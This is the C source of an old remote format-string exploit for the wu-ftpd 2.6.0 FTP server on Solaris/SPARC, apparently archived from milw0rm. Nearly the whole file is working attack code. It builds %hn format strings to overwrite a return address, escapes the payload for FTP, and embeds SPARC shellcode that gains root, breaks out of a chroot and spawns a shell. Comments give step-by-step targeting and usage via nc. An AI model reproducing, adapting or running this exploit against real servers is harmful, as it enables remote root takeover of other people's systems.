// wu-ftpd 2.6.0 Remote Format Strings Exploit

/*
**
** 12:40 11/10/00: Tool for either  attack or defense
** within an information  warfare setting. Rather, it
** is a small program demonstrating proof of concept.
** Default values for solaris 2.8 and inetd.
**
** If you are not the intended recipient, or a person
** responsible  for  delivering  it  to  the intended
** recipient, you are not authorised to and  must not
** disclose, copy, distribute, or retain this message
** or any  part of it.  Such  unauthorised use may be
** unlawful.If you have received this transmission in
** error,please email us immediately at hert@hert.org
** so that we can arrange for its return.
**
**                                kalou <pb@hert.org>
**
** Usage:
** 
**    0xfdc (4060) bytes after the ret position, you have:
**
**     -HOSTNAME: anonymous/EGGSHELL
**
** This of course begins on a 4 bytes boundary.
**
** Check your hostname len. Align this with pad to have EGGSHELL on a
** 4 bytes boundary (-p). Localhost needs 2 bytes, for example.
**
** Use '%s' format bug exploitation to look for this string in memory.
** (you have to eat 15 words out of stack).
**
** Remove 0xfdc + len (-HOSTNAME: anonymous/pad) to your found pointer.
** This substracted value is kept as the distance (-d).
** Result is your return address position (-w). Check it if you want.
**
** This code substracts 8 to this address (sparc ret behaviour).
**
** You may use the 102th %p pointer on stack to find the string. eg: ffbef640.
**
** adding 0x870 to this value, I found my string.
**
** offset should be useless. site_padding depends on the '/bin/ftp-exec/' 
** config stuff.
**
** (./wu -p 2 -d 0xff4 ; cat ) | nc localhost 21
**
*/
/* Stolener  Foundation */


#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef  __linux
#include <getopt.h>
#endif

void *build_format_string(int where,
			  int what,
			  int gout,
			  int eat,
			  int pad)
{
  int expected_len;
  int what1, where1;
  int what2, where2;
  char w1[512];
  char w2[512];

  int  i;
  char *buf, *p;

  /* generate two %hn len : */

  what1 = (what >> 16) & 0xffff;
  what2 = what & 0xffff; 

  fprintf(stderr, "what1: %0x\n", what1);
  fprintf(stderr, "what2: %0x\n", what2);

  if ( what1 > what2 ) {
    where1 = where + 2;
    where2 = where;
    what1 -= what2;
  } else {
    where1 = where;
    where2 = where + 2;
    what2 -= what1;
  }

  fprintf(stderr, "removing %d.\n", pad + 2 * sizeof(where) + gout + 
	  (eat - 1) * 12);

  if (where1 < where2) {
    what1 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
  } else {
    what2 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;
  }

  fprintf(stderr, "%08x: writing first %s\n", what,
	  (where1 > where2) ? "what2" : "what1");
  fprintf(stderr, "what1 is %08x, what2 is %08x\n",
	  what1, what2);

  sprintf(w1, "%%0%dx%%hn", what1);
  sprintf(w2, "%%0%dx%%hn", what2);

  fprintf(stderr, "1: %s\n2: %s\n", w1, w2);

  /* calculate expected len : */

  expected_len = pad + 12 + (eat - 1) * 8
	  + strlen(w1) + strlen(w2) + 1;

  fprintf(stderr, "len is %d\n", expected_len);

  buf = (char *) malloc(expected_len);

  if ( buf == NULL) 
    return buf;

  p = buf;

  /* pad */
  for (i = 0; i < pad; i++) {
    *p++ = '.';
  }

  /* retaddr, part 1 - first %hn*/
  *p++ = (where1 >> 24) & 0xff;
  *p++ = (where1 >> 16) & 0xff;
  *p++ = (where1 >> 8) & 0xff;
  *p++ = (where1) & 0xff;

  *p++ = 0x0f;
  *p++ = 0x0e;
  *p++ = 0x0e;
  *p++ = 0x0f; /* so that the first %0(much)x eats something

  /* retaddr, part 2 - second %hn */
  *p++ = ((where2) >> 24) & 0xff;
  *p++ = ((where2) >> 16) & 0xff;
  *p++ = ((where2) >> 8) & 0xff;
  *p++ = (where2) & 0xff;

  /* eaters.. */
  for (i = 0; i < (eat - 1); i++) {
    strcpy(p, "%000012x");
    p += 8;
  }

  /* what1, what2 */
  if (what1 > what2) {
    strcpy(p, w1);
    strcpy(p + strlen(w1), w2);
  } else {
    strcpy(p, w2);
    strcpy(p + strlen(w2), w1);
  }


  return buf;
}

void *ftp_escape(void *buf)
{
  void *boh;
  char *p = buf;
  char *r;

  boh = malloc(4096);
  r = boh;

  while (*p) {
    *r++ = *p;
    if ((*p) == '\xff')
      *r++ = *p;
    p++;
  }
  *r = '\0';
  return boh;
}

void usage(char *me)
{
  fprintf(stderr, "Usage : %s \n"
	          "     [-w where (hexa)  ] /* ret position */\n"
		  "   0 [-o offset        ] /* or just offset, or both */\n"
	          "1010 [-d distance (hex)] /* distance to pass */\n"
		  "   2 [-s site_pad      ] /* padding to site_exec */\n"
		  "   3 [-p pass_pad      ] /* padding to eggshell */\n"
		  "   4 [-g gout          ] /* output size (200-) */\n"
		  "  15 [-e eat           ] /* pointers to eat */\n\n\n",
		  me);
  exit(0);
}

main(int argc, char **argv)
{
  char c;
  int  where, offset, distance, gout, site_pad, pass_pad, eat;
  char *buf;
  char break_sparc[] =
	"\x90\x1b\xc0\x0f" // xor %o7, %o7, %o0
	"\x82\x10\x20\x17" // mov 23,  %g1
	"\x91\xd0\x20\x08" // ta  8                  ! setuid(0)
	"\xae\x10\x20\x2e" // mov 0x2e, %l7
	"\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
	"\xee\x23\xbf\xd0" // st  %l7, [ %sp - 48 ]
	"\x90\x23\xa0\x30" // sub %sp, 48, %o0
	"\x82\x10\x20\x05" // mov 5, %g1
	"\x92\x1b\xc0\x0f" // xor %o7, %o7, %o1
	"\x91\xd0\x20\x08" // ta 8                   ! fd = open(".", 0);
	"\xa6\x82\x20\x01" // addcc %o0, 1, %l3      !
	"\xae\x10\x20\x6b" // mov 0x6b, %l7
	"\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
	"\xee\x23\xbf\xd0" // st  %l7, [ %sp - 48 ]
	"\x90\x23\xa0\x30" // sub %sp, 48, %o0
	"\x92\x10\x21\xff" // mov 0x1ff, %o1
	"\x82\x10\x20\x50" // mov 0x50, %g1
	"\x91\xd0\x20\x08" // ta 8                   ! mkdir("k", 0755)
	"\x90\x23\xa0\x30" // sub %sp, 48, %o0
	"\x82\x10\x20\x3d" // mov 0x3d, %g1
	"\x91\xd0\x20\x08" // ta 8                   ! chroot("k")
	"\x90\x24\xe0\x01" // sub %l3, 1, %o0
	"\x82\x10\x20\x78" // mov 0x78, %g1
	"\x91\xd0\x20\x08" // ta 8                   ! fchdir(fd)
	"\x2f\x0b\x8b\x8b" // sethi %hi(0x2e2e2c00), %l7
	"\xae\x15\xe3\x2e" // or %l7, 0x32e, %l7
	"\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ]   ! ../.
	"\x2f\x0b\xcb\x8b" // sethi %hi(0x2f2e2c00), %l7
	"\xae\x15\xe2\x2f" // or %l7, 0x22f, %l7     
	"\xee\x23\xbf\xd4" // st %l7, [ %sp - 44 ]   ! /../
	"\xee\x23\xbf\xd8" // st %l7, [ %sp - 40 ]
	"\xee\x23\xbf\xdc" // st %l7, [ %sp - 36 ]
	"\xee\x23\xbf\xe0" // st %l7, [ %sp - 32 ]
	"\xee\x23\xbf\xe4" // st %l7, [ %sp - 28 ]
	"\xee\x23\xbf\xe8" // st %l7, [ %sp - 24 ]
	"\xee\x23\xbf\xec" // st %l7, [ %sp - 20 ]   ! .././..//..//../(ad lib)
	"\xc0\x23\xbf\xf0" // clr [ %sp - 16 ]
	"\x82\x10\x20\x0c" // mov 0xc, %g1
	"\x90\x23\xa0\x30" // sub %sp, 48, %o0
	"\x91\xd0\x20\x08" // ta 8                   ! chdir(".././../...")
	"\xae\x10\x20\x2e" // mov 0x2e, %l7
	"\xaf\x2d\xe0\x18" // sll %l7, 24, %l7
	"\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ]   ! stupido. anyway.
	"\x90\x23\xa0\x30" // sub %sp, 48, %o0
	"\x82\x10\x20\x3d" // mov 0x3d, %g1
	"\x91\xd0\x20\x08" // ta 8
	"\x2d\x0b\xd8\x9a" // sethi %hi(0x2f62696e), %l6  ! no more mine.
	"\xac\x15\xa1\x6e" // or %l6, %lo(0x2f62696e), %l6
	"\x2f\x0b\xdc\xda" // sethi %hi(0x2f736800), %l7
	"\x90\x0b\x80\x0e" // and %sp, %sp, %o0
	"\x92\x03\xa0\x08" // add %sp, 8, %o1
	"\x94\x1b\xc0\x0f" // xor %o7, %o7, %o2
	"\x9c\x03\xa0\x10" // add %sp, 16, %sp
	"\xec\x3b\xbf\xf0" // std %l6, [%sp-16]
	"\xd0\x23\xbf\xf8" // st %o0, [%sp-8]
	"\xc0\x23\xbf\xfc" // st %g0, [%sp-4]
	"\x82\x10\x20\x3b" // mov 59, %g1
	"\x91\xd0\x20\x08" // ta 8
	"\x91\xd0\x20\x08"; // ta 8          



  offset = 0;
  where = 0xffbeeed4;
  distance = 0x1004;
  gout = 4;
  eat = 15;
  site_pad = 2;
  pass_pad = 3;

  while ( ( c = getopt(argc, argv, "w:o:d:e:g:s:p:") ) != EOF ) {
    switch(c) {
	    case 'w':
	      where = strtoul(optarg, NULL, 16);
	      break;
	    case 'o':
	      offset = atoi(optarg);
	      break;
	    case 'd':
	      distance = strtoul(optarg, NULL, 16);
	      break;
	    case 'e':
	      eat = atoi(optarg);
	      break;
	    case 'g':
	      gout = atoi(optarg);
	      break;
	    case 's':
	      site_pad = atoi(optarg) % 4;
	      break;
	    case 'p':
	      pass_pad = atoi(optarg) % 4;
	      break;
	    default:
	      usage(argv[0]);
    }
  }

  where += offset;

  fprintf(stderr, "ret  [%x]:%x\n"
	  	  "ppad %d\n"
		  "spad %d\n"
		  "gout %d\n"
		  "eat  %d\n",
		  where, where + distance,
		  pass_pad, site_pad, gout, eat);

  printf("user ftp\n");

  buf = ftp_escape(break_sparc);
  printf("pass %.*s%s\n", pass_pad, "xxxx", buf);
  
  buf = build_format_string(where, where + distance - 8, gout, eat, site_pad);
  buf = ftp_escape(buf);

  printf ("site exec %s\n", buf);
}


// milw0rm.com [2001-01-03]
